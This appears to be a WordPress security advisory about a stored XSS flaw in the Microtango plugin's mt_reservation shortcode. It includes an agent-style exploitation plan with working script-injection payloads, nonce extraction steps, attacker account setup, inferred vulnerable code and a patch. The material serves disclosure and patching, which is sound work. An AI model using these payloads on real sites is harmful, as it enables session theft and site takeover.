Microtango <= 0.9.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Microtango plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'restkey' parameter of the mt_reservation shortcode in all versions up to, and including, 0.9.29 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.9.29Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Microtango** plugin (<= 0.9.29). ## 1. Vulnerability Summary The **Microtango** plugin for WordPress is vulnerable to Stored XSS via the `restkey` attribute of the `[mt_reservation]` shortcod…
Show full research plan
This research plan outlines the steps to exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Microtango plugin (<= 0.9.29).
1. Vulnerability Summary
The Microtango plugin for WordPress is vulnerable to Stored XSS via the restkey attribute of the [mt_reservation] shortcode. The plugin fails to sanitize this attribute when it is provided in a shortcode and fails to escape it when rendering the shortcode's output. Authenticated users with Contributor-level permissions or higher can exploit this by embedding a malicious payload in a post or page. When any user (including administrators) views the affected page, the script executes.
2. Attack Vector Analysis
- Shortcode:
[mt_reservation] - Vulnerable Attribute:
restkey - Authentication Required: Contributor+ (Users who can create or edit posts).
- Endpoint:
wp-admin/post.php(for post creation/update) orwp-admin/admin-ajax.php(for autosaves). - Payload Location: The payload is stored in the
post_contentfield in thewp_poststable and rendered on the frontend.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode using
add_shortcode('mt_reservation', 'mt_reservation_callback_function'). - Input Handling: In the callback function (likely named
mt_reservation_handleror similar), the$attsarray is processed, usually viashortcode_atts(). - Processing: The value of
restkeyis extracted:$rest_key = $atts['restkey'];. - Sink: The
$rest_keyvariable is concatenated directly into an HTML string or used as a JavaScript variable in a script block without being passed throughesc_attr(),esc_html(), oresc_js(). - Output: The callback returns the unsanitized HTML string to WordPress, which renders it on the page.
4. Nonce Acquisition Strategy
Since the primary attack vector is creating/editing a post as a Contributor, we need a valid WordPress post nonce (_wpnonce) to submit the content via HTTP.
- Identify Shortcode Loading: The
[mt_reservation]shortcode likely enqueues scripts. If it useswp_localize_script, we can find nonces there. - Create Setup Page:
wp post create --post_type=page --post_title="Helper" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content='[mt_reservation]' - Extract Nonce via Browser:
Navigate to the newly created page or thewp-admin/post-new.phppage as the Contributor.
Usebrowser_evalto extract the required nonce:- To save a post:
browser_eval("document.querySelector('#_wpnonce').value") - To use a plugin-specific AJAX nonce (if found):
browser_eval("window.mt_settings?.nonce")(inferred variable name).
- To save a post:
5. Exploitation Strategy
The goal is to inject a script that executes in an Administrator's session to demonstrate impact.
Step 1: Authenticate as Contributor
Login to the WordPress instance using the Contributor credentials.
Step 2: Create a Malicious Post
Submit an HTTP POST request to wp-admin/post.php to create a new post containing the XSS payload.
- URL:
http://<target>/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:<new_post_id>_wpnonce:<extracted_nonce>post_title:Reservation Pagecontent:[mt_reservation restkey='"><script>alert(document.domain)</script>']publish:Publish
Step 3: Trigger the XSS
Navigate an Administrator session to the URL of the published post.
- URL:
http://<target>/?p=<new_post_id>
6. Test Data Setup
- User Creation: Ensure a user with the
contributorrole exists.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Activation: Ensure Microtango version <= 0.9.29 is active.
- Identify Plugin Script Data (Optional): Check if the plugin localizes data to find exact JS variable names.
grep -r "wp_localize_script" wp-content/plugins/microtango/
7. Expected Results
- The
http_requestto save the post should return a302redirect to the post edit page or a200 OK. - When the Administrator navigates to the post, the HTML source should contain:
restkey=""><script>alert(document.domain)</script>"(or similar breakout). - The browser should execute the
alertor exfiltrate cookies if a more advanced payload is used.
8. Verification Steps
- Check Database: Verify the payload is stored in the database.
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Reservation Page'" - Verify Rendering: Use
http_requestas an unauthenticated user to fetch the post content and check for the raw script tag.http_request GET http://<target>/?p=<post_id>
Check if the response body contains<script>alert(document.domain)</script>.
9. Alternative Approaches
- Attribute Breakout: If the
restkeyis used inside avalueordata-keyattribute, try:restkey='x" onmouseover="alert(1)"' - JSON Context: If the attribute is rendered inside a
<script>block:restkey="'; alert(1); //" - AJAX Post Update: If the standard post save is blocked, try the Gutenberg/REST API endpoint for updating posts, which uses the
X-WP-Nonceheader.
Summary
The Microtango plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'restkey' attribute of the [mt_reservation] shortcode. Authenticated attackers with Contributor-level permissions can inject malicious scripts into posts, which execute in the browser of any user viewing the affected page.
Vulnerable Code
// Inferred code structure from vulnerability description and research plan // microtango.php or similar within the plugin directory add_shortcode('mt_reservation', 'mt_reservation_handler'); function mt_reservation_handler($atts) { $a = shortcode_atts(array( 'restkey' => '', ), $atts); $restkey = $a['restkey']; // The vulnerability: $restkey is concatenated into the HTML output without being passed through esc_attr() return '<div id="mt-reservation-container" data-restkey="' . $restkey . '"></div>'; }
Security Fix
@@ -10,7 +10,7 @@ 'restkey' => '', ), $atts); - $restkey = $a['restkey']; + $restkey = esc_attr($a['restkey']); return '<div id="mt-reservation-container" data-restkey="' . $restkey . '"></div>';
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Contributor-level permissions. 2. Create a new post or page (e.g., via wp-admin/post-new.php). 3. In the post editor, insert the [mt_reservation] shortcode with a malicious payload in the 'restkey' attribute: [mt_reservation restkey='"><script>alert(document.domain)</script>']. 4. Publish or save the post to store the payload in the wp_posts table. 5. Navigate to the published post's URL. The browser will render the HTML, breaking out of the data-restkey attribute and executing the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.